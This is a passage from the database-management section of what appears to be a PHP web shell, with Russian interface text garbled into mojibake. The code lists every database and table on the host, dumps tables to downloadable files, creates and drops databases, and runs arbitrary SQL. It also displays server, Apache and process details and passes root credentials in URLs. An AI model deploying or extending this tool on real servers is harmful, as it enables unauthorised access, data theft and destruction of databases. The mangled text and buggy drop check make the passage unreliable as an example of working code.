881$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
882
883fputs($fp, $sql);
884
885}
886
887}
888
889fclose($fp);
890
891}
892
893if ($_REQUEST['strukt']=='t_strukt'){
894
895$host = $HTTP_SERVER_VARS["SERVER_NAME"];
896
897$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
898
899$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
900
901mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
902
903$fp = fopen($file, "w");
904
905fputs ($fp, "# Host settings:\n# $host ($ip)\n# MySQL version: (".mysql_get_server_info().")\n# Date: ".
906
907date("F j, Y, g:i a")."\n# "." dump db \"".$db."\" table \"".$tbl."\"\n#_________________________________________________________\n\n");
908
909$res = mysql_query("SHOW CREATE TABLE `".$tbl."`", $connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
910
911$row = mysql_fetch_row($res);
912
913fputs($fp, "DROP TABLE IF EXISTS `".$tbl."`;\n");
914
915fputs($fp, $row[1].";\n\n");
916
917fclose($fp);
918
919}
920
921if ($_REQUEST['strukt']=='d'){
922
923$host = $HTTP_SERVER_VARS["SERVER_NAME"];
924
925$ip = $HTTP_SERVER_VARS["SERVER_ADDR"];
926
927$connection=mysql_connect($server.":".$port, $login, $passwd) or die("$h_error<b>".mysql_error()."</b>$f_error");
928
929mysql_select_db($db) or die("$h_error<b>".mysql_error()."</b>$f_error");
930
931$fp = fopen($file, "w");
932
933$res = mysql_query("SELECT * FROM `$tbl`", $connection);
934
935if (mysql_num_rows($res) > 0) {
936
937while ($row = mysql_fetch_assoc($res)) {
938
939$keys = implode("`, `", array_keys($row));
940
941$values = array_values($row);
942
943foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
944
945$values = implode("', '", $values);
946
947$sql = "INSERT INTO `$tbl`(`".$keys."`) VALUES ('".$values."');\n";
948
949fputs($fp, $sql);
950
951}
952
953}
954
955fclose($fp);
956
957}
958
959download($f_dump);
960
961}
962
963if ($_REQUEST['img']=='b_close') {
964
965$b_close='R0lGODlhdwAUAOYAANWEhdJYWNiwsc0PD9aTk88sLNA7O9rNztehotR1dk0AANQnJ4IAANc1Ndg9PWYAAL4'.
966
967'AAM8PD6AAANg8POiLi8yEhb0sLIYAAGIAAMRYWOeGhtc5Oc8NDeR3d1gAANuEhU4AAKcAANJbW9Z1dt1XV8'.
968
969'IAAONzc8QAAOqXl6gAAO2kpOJvb9IeHtuOj88QENYwMHUAANASEt9hYbAAAIwAAHkAAD0AAL0AAN5aWtQpK'.
970
971'c4MDNROT0UAAKwAANtJSdQqKtAUFOqYmMwCAuR2dtuiou2jo95bW8l1dtc3N+ucnI4AAJMAAHoAAD4AANWK'.
972
973'i+yfn5IAAOuZmdaVls4KCtlAQJQAAEAAANtMTOFra3EAAJEAALgAAOFpaWcAAOeFhXAAAN9dXeqVlTcAANg'.
974
975'6Ol4AANNnZ9m/wLUAANEbG9tKSoQAAOiOjuaCglYAAOJsbDQAANvc3cwAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
976
977'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAB3ABQAAAf/gFFFKk9ha4eIiYqLjI2Oj5CRk'.
978
979'pOJGiY4GxwUQUkoFGygoaKjpKWmp6ipqqusokNGSBwzHV4UGh1uubq7vL2+v8DBwsPExbtgYy5nSjJYK1wk'.
980
981'adLT1NXW19jZ2tvc1h8tRB/d2BsxW0tZPldpVD9o7/Dx8vP09fb3+PnxO3D9cCP66k05UwWGBwcTGiyIEKe'.
982
983'hw4cQI0qcSLGixYsOB8A5UKYAxooQJDB4oAChQoYNBfgzEIeAvwQNzcg0w3KASzhmBrQ0A2CjTgJm4pShac'.
984
985'BMmThmCAg1OnQmgaEsIwLteeDnyzg9AwCA2fCmgAFFZ8pUGkdAzoYhR5ZMuLChgQMA/xDgjAP3ZhwD/Q7MV'.
986
987'UlAJYI4/QjohdkPKZwBPcvgRVCgXxmg/Yyq9Bgx8GC6AOz66/dXLgK+QyNDFgrnL1qRJE22bTggQBk4AOK0'.
988
989'7gmHdAKNAPAKCBAAZ2MBcXoD+A249uTXCfTCYUm8OIDhD4kLl621n8acGuE0n1s8ZW0z2h2mTc0WJWmfrzf'.
990
991'OvWmdtj8Er2P3ThCfeGGXB5Q3jC97c22H/M2Xnl5mTGdYAnAcBVhQ1zWUWGkPjbfWSRC95gQcwE0HXnXPJf'.
992
993'hQVi0tl1V8DYK3HHcgTqfXh3AEEKIIGAYHm4E4gYicjLGdF554qE24WoIBqCQFhgHodVQ/AKhUxv9rHJUhQ'.
994
995'FEJvhYUeJAhIFdsjvVGFng69SSAS0E5BN6SOPW2m5HZBRllaWXo5VFiDfUGYYQ9qsYQXv585V8BeAbWkFz+'.
996
997'FOePR/75o1iMCCpYWFmbRdXQntkNipU/OSq3nHeO9kMZj2rZ6RBvlLWmk0UFBMAchqV+pCpEv6XKWgCjOlR'.
998
999'qrHe5ONFrptHZaXmrWsRfr8D+CqxF/TjKKUkv5MCCDiWc4eyz0EYrrbQZVGDBtNhmq62z1V677bfSWlDBEd'.
1000
1001'OGQMMXHvAAhBA3pKCFGvDGK++89NZr77345qvvvvzKywQGIFjxxgk9QFEDBm0krPDCDDfs8MMQRyzxxBRXv'.
1002
1003'DArCDa8oXEIF3ShgBgahyzyyCSXbPLJKKes8soso3wBGU20LPPMNNdsc8qBAAA7';
1004
1005send_header();
1006
1007echo base64_decode($b_close);
1008
1009}
1010
1011$n_img = create_function('$tag,$f_n,$img_c', 'print \'<\'.$tag.\'>\';$f_n("$img_c");');
1012
1013$h_error="<br><table align=center width=500 height=70 bgcolor=red><b>нЬХÐЙЮ Б ГЮОПÐЯЕ:</b><tr><td align=center><br><h5>";
1014
1015$f_error="</h5></td></tr></table>
1016
1017<CENTER><FORM><INPUT type=\"button\" value=\" << мЮГЮД \" onClick=\"history.go(-1)\"><BR>
1018
1019</FORM></CENTER>
1020
1021</td></tr></table></td></tr></table>
1022
1023<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>
1024
1025<tr><td>
1026
1027<table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
1028
1029</table>
1030
1031</td></tr>
1032
1033</table>
1034
1035</td></tr></table>";
1036
1037print "
1038
1039<html><HEAD><TITLE>MySQL</TITLE>
1040
1041<META http-equiv=Content-Type Pragma: no-cache; content=\"text/html; charset=windows-1251\">
1042
1043".$mainmenu."</HEAD><BODY bgcolor=#181818 text=#ffffff onLoad=\"writeMenus()\" onResize=\"if (isNS4) nsResizeHandler()\"><br>";
1044
1045if ($sapi_type == "cgi") {
1046
1047$php_type="CGI";
1048
1049} else {
1050
1051$php_type="ЛÐДСКÐ";
1052
1053}
1054
1055$start_form="<br>
1056
1057<table align=center border=0 width=100% cellpadding=2 cellspacing=0 bgcolor=#181818>
1058
1059<tr>
1060
1061<td>
1062
1063<table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#181818>
1064
1065<tr><td>
1066
1067<table border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
1068
1069<tr>
1070
1071<td width=25>
1072
1073
1074
1075</td>
1076
1077<td>
1078
1079<font size=4><b>MySQL</b></font>
1080
1081</td>
1082
1083<td width=33% align=right>
1084
1085".date ("j F- Y- g:i")."
1086
1087</td>
1088
1089</tr>
1090
1091</table>
1092
1093</td></tr>
1094
1095</table>
1096
1097</td></tr>
1098
1099<tr><td>
1100
1101<table align=center border=0 width=80% cellpadding=2 cellspacing=0 bgcolor=#181818>
1102
1103<tr>
1104
1105<td bgcolor=#181818 valign=top width=200><br>
1106
1107<center><b>ÑРХКХРЮ ДКЪ ПЮÐÐРШ Я MySQL</b></center><hr width=98%>
1108
1109<li>оПÐЯЛÐРП ÐЮГ Ð¥ РЮÐКХЖ.
1110
1111<li>оПÐХГБÐКÐМШЕ ГЮОПÐЯШ Й ад.
1112
1113<li>пЕДЮЙРХПÐБЮМХЕ ÐЮГ Ð¥ РЮÐКХЖ.
1114
1115<li>дЮЛОШ ад ХКХ РЮÐКХЖ.<hr width=98%>
1116
1117</td>
1118
1119<td bgcolor=#181818><center><font size=2>
1120
1121<br>дКЪ ЯÐЕДХМЕМХЪ Я ЯЕПБЕПÐЛ MySQL ББЕДХРЕ <b>хлъ</b>, <b>оюпнкÑ</b> (ОÐКÐГÐБЮРЕКЪ MySQL) Ð¥ ХЛЪ <b>унÑрю</b>.</font></center><br>
1122
1123<li>еЯКХ КÐЦХМ ЧГЕПЮ mysql МЕ СЙЮГЮМ ЪБМÐ, ОРСЛÐКВЮМХЧ ОÐДЯРЮБКЪЕРЯЪ ХЛЪ БКЮДЕКÐЖЮ ОПÐЖЕЯЯЮ.
1124
1125<li>еЯКХ ОЮПÐКРЧГЕПЮ mysql МЕ СЙЮГЮМ ЪБМÐ, ОРСЛÐКВЮМХЧ ОÐДЯРЮБКЪЕРЯЪ ОСЯРÐИ ОЮПÐКÐ.
1126
1127<li>еЯКХ ХЛЪ ЯЕБПБЕПЮ mysql МЕ СЙЮГЮМРЪБМÐ, ОРСЛÐКВЮМХЧ ОÐДЯРЮБКЪЕРЯЪ <b>localhost</b>
1128
1129<li>еЯКХ ОÐПРДКЪ ЯЕБПБЕПЮ mysql МЕ СЙЮГЮМ ЪБМÐ, ОÐДЯРЮБКЪЕРЯЪ ОÐПРОРСЛÐКВЮМХЧ, ÐÐШВМР(<b>3306</b>)<br><br>
1130
1131<center>бЕПЯХЪ PHP (<b>".phpversion()."</b>) ID PHP script (<b>".get_current_user( )."</b>)</center>
1132
1133<br><table align=center>
1134
1135<tr><td>ХЛЪ ЧГЕПЮ MySQL</td><td align=right>ОЮПÐКРЧГЕПЮ MySQL </td></tr>
1136
1137<form method=\"get\" action=\"$self\">
1138
1139<input type=hidden name=sec value=mysql>
1140
1141<input type=hidden name=workingdir value=".getcwd().">
1142
1143<input type=\"hidden\" name=\"s\" value=\"y\">
1144
1145<tr>
1146
1147<td><input type=\"text\" name=\"login\" value=\"root\" maxlength=\"64\"></td>
1148
1149<td align=right><input type=\"text\" name=\"passwd\" value=\"$passwd\" maxlength=\"64\"></td>
1150
1151</tr>
1152
1153<tr><td>ÑЕПБЕП MySQL</td><td>ОÐПР</td></tr>
1154
1155<tr>
1156
1157<td><input type=\"text\" name=\"server\" value=\"localhost\" maxlength=\"64\"></td>
1158
1159<td><input type=\"text\" name=\"port\" value=\"3306\" maxlength=\"6\" size=\"3\">
1160
1161<input type=\"submit\" value=\"ОÐДЙКЧВХРÐЯЪ\"></td>
1162
1163</tr></table><br>
1164
1165</td>
1166
1167</tr>
1168
1169</table>
1170
1171</td></tr>
1172
1173<tr><td>
1174
1175<table align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#181818>
1176
1177<tr><td>
1178
1179<table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
1180
1181</table>
1182
1183</td></tr>
1184
1185</table>
1186
1187</td></tr></table>
1188
1189";
1190
1191if ($os =='win') {
1192
1193$os="OS- <b>".$HTTP_ENV_VARS["OS"]."</b>";
1194
1195}else{
1196
1197$str_k=$_ENV["BOOT_FILE"];
1198
1199$k=preg_replace ("/[a-zA-Z\/]/","", $str_k);
1200
1201$os="OS\Kernel: <b>".$_ENV["BOOT_IMAGE"].$k."</b>";
1202
1203}
1204
1205if (!isset($s) || $_REQUEST[s] != 'y') { print $start_form;
1206
1207$serv = array(127,192,172,10);
1208
1209$adrr=@explode('.', $HTTP_SERVER_VARS["SERVER_ADDR"]);
1210
1211if (!in_array($adrr[0], $serv)) {
1212
1213}
1214
1215exit;
1216
1217}
1218
1219$form_ad_b="<br>
1220
1221<table width=80% align=center border=0 cellpadding=0 cellspacing=1 bgcolor=#181818>
1222
1223<tr>
1224
1225<td>
1226
1227<table width=100% align=center border=0 cellpadding=4 cellspacing=0 bgcolor=#181818>
1228
1229<td>
1230
1231MySQL <b>$server</b> v.(<b>".mysql_get_server_info()."</b>)
1232
1233</td>
1234
1235<td align=center>
1236
1237<b>".$HTTP_SERVER_VARS["SERVER_SOFTWARE"]."</b>
1238
1239</td>
1240
1241<td align=right>
1242
1243бЕПЯХЪ PHP (<b>".phpversion()."</b>) $php_type
1244
1245</td>
1246
1247</tr>
1248
1249<tr bgcolor=#181818>
1250
1251<td>
1252
1253IP:<b>".$HTTP_SERVER_VARS["SERVER_ADDR"]."</b> Name:<b>".$HTTP_SERVER_VARS["SERVER_NAME"]."</b>
1254
1255</td>
1256
1257<td align=center>
1258
1259ID PHP script (<b>".get_current_user( )."</b>)
1260
1261</td>
1262
1263<td align=right>
1264
1265$os
1266
1267</td>
1268
1269</tr>
1270
1271</table>
1272
1273</td></tr></table>
1274
1275<table width=80% align=center border=0 cellpadding=5 cellspacing=1>
1276
1277<tr>
1278
1279<td>
1280
1281<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&stat=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>ÑРЮРХЯРХЙЮ MySQL</b></a>
1282
1283</td>
1284
1285<td align=right>
1286
1287<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&proc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>оПÐЖЕЯЯШ MySQL </b></a>
1288
1289</td>
1290
1291<td align=center>
1292
1293
1294
1295</td>
1296
1297</tr>
1298
1299<tr>
1300
1301<td>
1302
1303<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&apc=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>оЕПЕЛЕММШЕ Apache </b></a>
1304
1305</td>
1306
1307<td align=right>
1308
1309<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&var=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\"><b>оЕПЕЛЕММШЕ MySQL </b></a>
1310
1311</td>
1312
1313<td align=center>
1314
1315
1316
1317</td>
1318
1319</tr>
1320
1321</table><br>
1322
1323<table width=300 align=center cellpadding=0 cellspacing=1 bgcolor=#181818>
1324
1325<tr bgcolor=#181818><td>
1326
1327<table align=center cellpadding=0 cellspacing=0>
1328
1329<tr bgcolor=#181818>
1330
1331<td> <table cellpadding=4><tr><td><b>ÑÐГДЮРРМÐБСЧ ÐЮГС ДЮММШУ</b></td></tr><tr><td>
1332
1333<form method=\"get\" action=\"$self\">
1334
1335<input type=hidden name=sec value=mysql>
1336
1337<input type=hidden name=workingdir value=".getcwd().">
1338
1339<input type=\"hidden\" name=\"s\" value=\"$s\">
1340
1341<input type=\"hidden\" name=\"server\" value=\"$server\">
1342
1343<input type=\"hidden\" name=\"port\" value=\"$port\">
1344
1345<input type=\"hidden\" name=\"login\" value=\"$login\">
1346
1347<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">
1348
1349<input type=\"text\" name=\"new_db\" value=\"\" maxlength=\"64\">
1350
1351<input type=\"submit\" value=\"ЯÐГДЮРÐ\"></td>
1352
1353</tr></table>
1354
1355</td>
1356
1357</tr>
1358
1359</table>
1360
1361</td>
1362
1363</tr></table></form>
1364
1365<table width=80% align=center border=0 cellpadding=0>
1366
1367<tr align=right>
1368
1369<td width=85%></td>
1370
1371<td width=15>
1372
1373<a href=$self><img src=".$self."?sec=mysql&workingdir=".getcwd()."&img=b_close border=0 title=close></a>
1374
1375</td>
1376
1377</tr>
1378
1379</table>
1380
1381";
1382
1383$cnt_b=mysql_num_rows(mysql_list_dbs());
1384
1385print "
1386
1387<table align=center border=0 width=100% cellpadding=1 cellspacing=0 bgcolor=#181818>
1388
1389<tr>
1390
1391<td>
1392
1393<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>
1394
1395<tr><td>
1396
1397<table border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
1398
1399<tr>
1400
1401<td>
1402
1403
1404
1405</td>
1406
1407<td width=33%>
1408
1409<font size=4><b>MySQL</b></font>
1410
1411</td>
1412
1413<td width=33% align=center>
1414
1415<font color=blue><b>$server</b></font> [CONNECTION Ok] бЯЕЦРÐЮГ: <b>$cnt_b</b>
1416
1417</td>
1418
1419<td width=33% align=right>
1420
1421".date ("j F- Y- g:i")."
1422
1423</td>
1424
1425</tr>
1426
1427</table>
1428
1429</td></tr>
1430
1431</table>
1432
1433</td></tr>
1434
1435<tr><td>
1436
1437<table align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#181818>
1438
1439<tr>
1440
1441<td bgcolor=#181818 valign=top width=170>";
1442
1443if (isset($server)&&isset($port)&&isset($login)&&isset($passwd)){
1444
1445$connection = mysql_connect($server.":".$port, $login, $passwd) or die("$header<table align=center width=80% bgcolor=red><tr><br>нЬХÐЙЮ ЯÐЕДХМЕМХЪ Я MySQL ЯЕПБЕПÐЛ <b>$server</b><td><center><font size=2><b>".mysql_error()."</b></font></center><br><b>бЕПÐЪРМШЕ ÐЬХÐЙХ:</b><li>мЕ ОПЮБХКÐМШИ ЮДПЕЯ ЯЕПБЕПЮ <b>$server</b><li>мЕ ОПЮБХКÐМШИ МÐЛЕП ОÐПРЮ <b>$port</b><li>мЕ БЕПМÐЕ ХЛЪ (login) ЧГЕПЮ mysql <b>$login</b><li>мЕ БЕПМШИ ОЮПÐКР(password) ЧГЕПЮ mysql <b>$passwd</b><li>дÐЯРСО Й ЯЕПБЕПС $server ГЮОПЕЫЕМ Я ЮДПЕЯЮ <b>".getenv('REMOTE_ADDR')."</b><li>ÑДЮКЕММШИ ЯЕПБЕП БПЕЛЕММРМЕ ДÐЯРСОЕМ</td></tr></table><br></td></tr></table><script>alert('мЕ БÐГЛÐФМРСЯРЮМÐБХРРЯÐЕДХМЕМХЕ Я MySQL ЯЕПБЕПÐЛ $server \\n\\n оПÐБЕПÐРЕ ОПЮБХКÐМÐЯРРБУÐДЪЫХУ ДЮММШУ:\\n\\nЯЕПБЕП $server\\nОÐПР$port\\nХЛЪ $login\\nОЮПÐКР$passwd');</script><head><META HTTP-EQUIV='Refresh' CONTENT='3;url=$self'></head>");
1446
1447}
1448
1449if ($connection&&!isset($db)) {
1450
1451print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#181818><tr><td bgcolor=#181818 align=center>".
1452
1453"<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"бЕПМСРÐЯЪ Б МЮВЮКРХ ÐÐМÐБХРРЯОХЯÐЙ ÐЮГ\"><font color=green><b>".
1454
1455"оÐЙЮГЮРРБЯЕ ÐЮГШ</b></font></a></td></tr></table>";
1456
1457$result = mysql_list_dbs($connection) or die("$h_error<b>".mysql_error()."</b>$f_error");
1458
1459while ( $row=mysql_fetch_row($result) ){
1460
1461$cnt_title=mysql_num_rows(mysql_list_tables($row[0]));
1462
1463print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#181818><tr><td bgcolor=#181818>";
1464
1465if ($cnt_title < 1) {
1466
1467print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$row[0]&cr_tbl=new&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"бЯЕЦРРЮÐКХЖ $cnt_title\"><b>$row[0]</b></a>";
1468
1469}else{
1470
1471print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$row[0]&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"бЯЕЦРРЮÐКХЖ $cnt_title\"><b>$row[0]</b></a>";
1472
1473}
1474
1475print "</td></tr></table>";
1476
1477}
1478
1479}
1480
1481if (isset($db)){
1482
1483$result=mysql_list_tables($db) or die ("$h_error<b>".mysql_error()."</b>$f_error<head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>");
1484
1485print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#181818><tr><td bgcolor=#181818 align=center>".
1486
1487"<a href=\"$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port\"><font color=green><b>".
1488
1489"оÐЙЮГЮРРБЯЕ ÐЮГШ</b></font></a></td></tr><tr><td></td></tr><tr><td></td></tr></table>";
1490
1491print "<table cellpadding=0 cellspacing=1 width=100% bgcolor=#181818><tr><td bgcolor=#181818 align=center>".
1492
1493"---[ <a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db\" title=\"ÐÐМÐБХРРЯОХЯÐЙ РЮÐКХЖ\"><b>$db</b></a>".
1494
1495" ]---</a></td></tr><tr><td></td></tr><tr><td></td></tr></table>";
1496
1497while ( $row=mysql_fetch_array($result) ){
1498
1499$count=mysql_query ("SELECT COUNT(*) FROM $row[0]");
1500
1501$count_row= mysql_fetch_array($count);
1502
1503print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#181818>".
1504
1505"<tr><td bgcolor=#181818>";
1506
1507if ($count_row[0] < 1) {
1508
1509print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&nn_row=ok\">$row[0]</a> ($count_row[0])</td></tr></table>";
1510
1511}else{
1512
1513print "<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&limit_start=0&limit_count=5\">$row[0]</a> ($count_row[0])</td></tr></table>";
1514
1515}
1516
1517@mysql_free_result($count);
1518
1519}
1520
1521}
1522
1523print "
1524
1525</td>
1526
1527<td valign=top bgcolor=#181818>";
1528
1529if ($connection&&!isset($db)) {
1530
1531$anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection);
1532
1533if (mysql_num_rows($anon)>0) { print "<table align=center><tr><td><b>бМХЛЮМХЕ!<b></td></tr><tr><td bgcolor=red>юМÐМХЛМШЛ ОÐКÐГÐБЮРЕКЪЛ ПЮГПЕЬЕМРОÐДЙКЧВЕМХЕ Й ЯЕПБЕПС MySQL</td></tr></table>"; }
1534
1535print $form_ad_b;
1536
1537}
1538
1539if (isset($proc) && $proc=="TRUE"){
1540
1541$result = mysql_query("SHOW PROCESSLIST", $connection);
1542
1543print "<center><font size=2>оПÐЖЕЯЯШ MySQL ЯЕПБЕПЮ [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#181818><tr align=center bgcolor=#181818><td>ID</td><td>USER</td><td>HOST</td><td>DB</td><td>COMMAND</td><td>TIME</td><td>STATE</td><td>INFO</td></tr>";
1544
1545while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
1546
1547print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td><td>$row[2]</td><td>$row[3]</td><td>$row[4]</td><td>$row[5]</td><td>$row[6]</td><td>$row[7]</td></tr>";
1548
1549}
1550
1551print "</table><br>";
1552
1553mysql_free_result($result);
1554
1555unset($proc);
1556
1557}
1558
1559if (isset($_REQUEST['new_db'])){
1560
1561$new_db=trim($_REQUEST['new_db']);
1562
1563if (mysql_create_db ($new_db)) {
1564
1565print ("<center><font size=2>аЮГЮ <b>$new_db</b> СЯОЕЬМРЯÐГДЮМЮ</font></center><br>");
1566
1567print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
1568
1569} else {
1570
1571print "$h_error".mysql_error()."$f_error <head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
1572
1573}
1574
1575unset($new_db);
1576
1577}
1578
1579if (isset($_REQUEST['drop'])){
1580
1581$result_d = mysql_list_dbs($connection) or die("<td bgcolor=#181818>$h_error".mysql_error()."$f_error</td></tr></table>");
1582
1583while ( $row_d=mysql_fetch_row($result_d) ){
1584
1585if ($drop==$row_d[0]) $dr="TRUE";
1586
1587}
1588
1589if ($dr="TRUE") {
1590
1591mysql_drop_db($drop,$connection);
1592
1593print ("<center><font size=2>аЮГЮ <b>$drop</b> СЯОЕЬМРСДЮКЕМЮ</font></center><br>");
1594
1595print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>";
1596
1597}
1598
1599unset($drop);
1600
1601}
1602
1603if (isset($apc) && $apc=="TRUE"){
1604
1605print "<center><font size=2>оЕПЕЛЕММШЕ ЯЕПБЕПЮ Apache [ <b>$server</b> ]</font><center>
1606
1607<table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#181818>
1608
1609<tr align=center bgcolor=#181818>
1610
1611<td>нОХЯЮМХЕ</td><td>оЕПЕЛЕММЮЪ</td>
1612
1613</tr>
1614
1615<tr bgcolor=#181818><td>хЛЪ Internet-УÐЯРЮ</td><td>".$HTTP_SERVER_VARS["SERVER_NAME"]."</td></tr>
1616
1617<tr bgcolor=#181818><td>IP-ЮДПЕЯ УÐЯРЮ</td><td>".$HTTP_SERVER_VARS["SERVER_ADDR"]."</td></tr>
1618
1619<tr bgcolor=#181818><td>оÐПРWeb-ЯЕПБЕПЮ.</td><td>".$HTTP_SERVER_VARS["SERVER_PORT"]."</td></tr>
1620
1621<tr bgcolor=#181818><td>ÑОЕЖХТХЙЮЖХЪ CGI ХМРЕТЕИЯЮ.</td><td>".$HTTP_SERVER_VARS["GATEWAY_INTERFACE"]."</td></tr>
1622
1623<tr bgcolor=#181818><td>оПÐÐ ÐЙÐК ОПХ ГЮОПÐЯЕ ДЮММÐИ ЯРПЮМХЖШ (ЛЕРÐД).</td><td>".$HTTP_SERVER_VARS["REQUEST_METHOD"]."</td></tr>
1624
1625<tr bgcolor=#181818><td>Root ДХПЕЙРÐПХЪ ДКЪ ДЮММÐЦРОÐКÐГÐБЮРЕКЪ.</td><td>".$HTTP_SERVER_VARS["DOCUMENT_ROOT"]."</td></tr>
1626
1627<tr bgcolor=#181818><td>гЮЦÐКÐБÐЙ РЕЙСЫЕЦРГЮОПÐЯЮ.</td><td>".$HTTP_SERVER_VARS["HTTP_CONNECTION"]."</td></tr>
1628
1629<tr bgcolor=#181818><td>дХПЕЙРХБЮ httpd.conf (SERVER_ADMIN).</td><td>".$HTTP_SERVER_VARS["SERVER_ADMIN"]."</td></tr>
1630
1631<tr bgcolor=#181818><td>ÑХЦМЮРСПЮ ЯЕПБЕПЮ.</td><td>".$HTTP_SERVER_VARS["SERVER_SIGNATURE"]."</td></tr>
1632
1633</table><br>";
1634
1635unset($apc);
1636
1637}
1638
1639if (isset($stat) && $stat=="TRUE"){
1640
1641$result = mysql_query("SHOW STATUS", $connection);
1642
1643print "<center><font size=2>оЕПЕЛЕММШЕ ЯÐЯРÐЪМХЪ MySQL ЯЕПБЕПЮ [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=400 bgcolor=#181818><tr align=center bgcolor=#181818><td>оЕПЕЛЕММШЕ ЯÐЯРÐЪМХЪ ЯЕПБЕПЮ</td><td>ГМЮВЕМХЪ ОЕПЕЛЕММШУ</td></tr>";
1644
1645while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
1646
1647print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td></tr>";
1648
1649}
1650
1651print "</table>";
1652
1653mysql_free_result($result);
1654
1655}
1656
1657if (isset($var) && $var=="TRUE"){
1658
1659$result = mysql_query("SHOW VARIABLES ", $connection);
1660
1661print "<center><font size=2>ÑХЯРЕЛМШЕ ОЕПЕЛЕММШЕ MySQL ЯЕПБЕПЮ [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#181818><tr align=center bgcolor=#181818><td>оЕПЕЛЕММШЕ ЯЕПБЕПЮ</td><td>ГМЮВЕМХЪ ОЕПЕЛЕММШУ</td></tr>";
1662
1663while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
1664
1665print "<tr bgcolor=#181818><td>$row[0]</td><td>$row[1]</td></tr>";
1666
1667}
1668
1669print "</table>";
1670
1671mysql_free_result($result);
1672
1673unset($var);
1674
1675}
1676
1677if (isset($db) && !isset($tbl)) {
1678
1679$cnt=mysql_num_rows(mysql_list_tables($db));
1680
1681print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0>
1682
1683<tr>
1684
1685<td>
1686
1687<table border=0 align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#181818>
1688
1689<tr align=center>
1690
1691<td width=20% bgcolor=#181818>
1692
1693<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&cr_tbl=new\" title=\"ÑÐГДЮРРМÐБСЧ РЮÐКХЖС Б ÐЮГЕ $db\"><b>ÑÐГДЮРРРЮÐКХЖС</b></a>
1694
1695</td>
1696
1697<td width=20% bgcolor=#181818>
1698
1699<a href=\"$_SERVER[PHP_SELF]?sec=mysql&workingdir=".getcwd()."&s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=bd\" title=\"оПÐХГБÐКÐМШИ ГЮОПÐЯ Й ÐЮГЕ\"><b>SQL-ГЮОПÐЯ</b></a>
1700
1701</td>
1702
1703<td width=20% bgcolor=#181818>
1704
